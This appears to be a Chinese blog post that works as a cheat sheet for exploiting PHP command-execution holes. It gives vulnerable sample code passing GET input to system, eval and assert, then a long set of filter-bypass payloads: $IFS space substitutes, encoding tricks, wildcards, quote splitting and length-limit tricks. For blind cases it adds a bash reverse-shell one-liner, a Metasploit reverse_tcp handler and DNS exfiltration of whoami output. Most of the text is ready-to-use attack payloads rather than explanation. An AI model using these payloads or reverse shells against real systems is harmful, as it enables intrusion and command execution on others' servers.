zoukankan      html  css  js  c++  java
  • 命令执行漏洞,绕过过滤姿势

    很久之前的存稿,可能有些错误

    命令执行漏洞

    exec()函数

    exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。 执行外部程式。
    语法 : string exec(string command, string [array], int [return_var]);
    传回值 : 字串
    函式种类 : 作业系统与环境

    system:调用系统命令函数

    <?php $a=$_GET['a']; $output=system($a); echo $output; ?>

    assert:assert能帮助我们执行一些php的指令,并且对于代码的规范不是很严格

    <?php $a=$_GET['a']; $output=assert($a); echo $output; ?>

    eval:eval() 函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

    <?php $a=$_GET['a']; $output=eval($a); echo $output; ?>

    passthru:passthru — 执行外部程序并且显示原始输出。

    <?php $a=$_GET['a']; $output=passthru($a); echo $output; ?>

    preg_replace:pattern处存在一个"/e"修饰符时,$replacement的值会被当成php代码来执行。

    <?php $a = $_GET['a']; echo preg_replace("/test/e", $a, "just test!") ?>

    popen:popen() 函数打开进程文件指针,就跟c语言当中fopen函数差不多。

    <?php $file = popen("/bin/ls","r"); pclose($file); ?>

    命令执行漏洞的空格过滤

    在linux当中,%09(tab)、$IFS$9、 ${IFS}、$IFS这些都可以当做空格符作为代替。

    一些命令分隔符:

    linux中:%0a 、%0d 、; 、& 、| 、&&、||
    windows中:%0a、&、|、%1a

    花括号的别样用法:

    在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令,例如{mv1,文件1,文件2}

    拼接绕过黑名单

    a=l;b=s;$a$b
    a=fl;b=ag;cat $a$b

    编码绕过
    $(printf "154163") ==>ls
    $(printf "x63x61x74x20x2fx66x6cx61x67") ==>cat /flag
    {printf,"x63x61x74x20x2fx66x6cx61x67"}|$0 ==>cat /flag
    
    单引号,双引号绕过:

    ca''t flag 或ca""t flag

    反斜杠绕过

    1; ls -l;1

    利用shell特殊变量绕过

    1; l$@s -l;1 · 1; l$*s -l;1 1; l$ns -l;1 //n为任意数字都可以

    绕过长度限制

    1>1.txt创建一个空文件,当然任何大于1的数字都可以被用来创建一个空文件。

    内联执行
    root@kali:~# echo “a`ifconfig`”  或者 echo “abcd $(pwd)
    “abridge0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether 46:1e:b4:09:b7:c9 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 4 bytes 288 (288.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.114.128 netmask 255.255.255.0 broadcast 192.168.114.255 inet6 fe80::20c:29ff:fe12:e944 prefixlen 64 scopeid 0x20 ether 00:0c:29:12:e9:44 txqueuelen 1000 (Ethernet) RX packets 71893 bytes 25359864 (24.1 MiB) RX errors 1 dropped 0 overruns 0 frame 0 TX packets 4286 bytes 274575 (268.1 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 19 base 0x2000 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10 loop txqueuelen 1000 (Local Loopback) RX packets 80 bytes 4136 (4.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 80 bytes 4136 (4.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0”
    
    其他方法

    利用通配符: 1; cat${IFS}fl* ;1
    最简单的:1;cat *;1
    1; cat${IFS}fla? ;1
    1; cat${IFS}fla[^1] ;1

    当cat被过滤后
    (1)more:一页一页的显示档案内容
    (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
    (3)head:查看头几行
    (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    (5)tail:查看尾几行
    (6)nl:显示的时候,顺便输出行号
    (7)od:以二进制的方式读取档案内容
    (8)vi:一种编辑器,这个也可以查看
    (9)vim:一种编辑器,这个也可以查看
    (10)sort:可以查看
    (11)uniq:可以查看
    (12)file -f:报错出具体内容
    
    <与<<的区别

    使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入。
    >>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容。

    文件读取绕过
    root@kali:~# ls -t
    flag
    root@kali:~# ls -t > a
    root@kali:~# sh a
    flag wwww
    

    对于长度有限制

    root@kali:~# l
    > s
    >  
    > -
    > l
    > >q
    root@kali:~# cat q
    总用量 5216
    -rw-r--r--  1 root    root          0 5月   4 11:59 1
    -rw-r--r--  1 root    root    1319936 2月  27 16:45 1.exe
    -rw-r--r--  1 root    root          0 1月  29 16:03 1.jpg
    -rwxr-xr-x  1 root    root         62 1月  21 21:47 1.sh
    
    
    利用base64编码绕过
    root@kali:~# `echo Y2F0Cg== |base64 -d` testip.txt 
    sss
    ddd
    
    处理无回显的命令执行漏洞

    利用bash命令: 使用nc监听我们的8080端口:nc -l -p 8080 -vvv 把bash命令传过来:bash -i >& /dev/tcp/ip地址/8080 0>&1 关于这个的具体实现原理可以再网上找下,有很多详细的说明。

    msf

    利用msf也可以,

    use exploit/multi/handler
    set payload linux/armle/shell/reverse_tcp
    set lport 8080
    set lhost ip地址
    set exitonsession false
    exploit -j
    
    利用dns解析
    root@kali:~# ping `whoami`.******.ceye.io 
    ping: root.******.ceye.io: 未知的名称或服务
    
  • 相关阅读:
    深入理解计算机系统 第六章 存储器层次结构 第二遍
    深入理解计算机系统 第六章 存储器层次结构
    深入理解计算机系统 第八章 异常控制流 Part2 第二遍
    深入理解计算机系统 第八章 异常控制流 part2
    深入理解计算机系统 第八章 异常控制流 Part1 第二遍
    深入理解计算机系统 第八章 异常控制流 part1
    深入理解计算机系统 第三章 程序的机器级表示 Part2 第二遍
    深入理解计算机系统 第三章 程序的机器级表示 part2
    深入理解计算机系统 第三章 程序的机器级表示 Part1 第二遍
    深入理解计算机系统 第三章 程序的机器级表示 part1
  • 原文地址:https://www.cnblogs.com/ophxc/p/12826497.html
Copyright © 2011-2022 走看看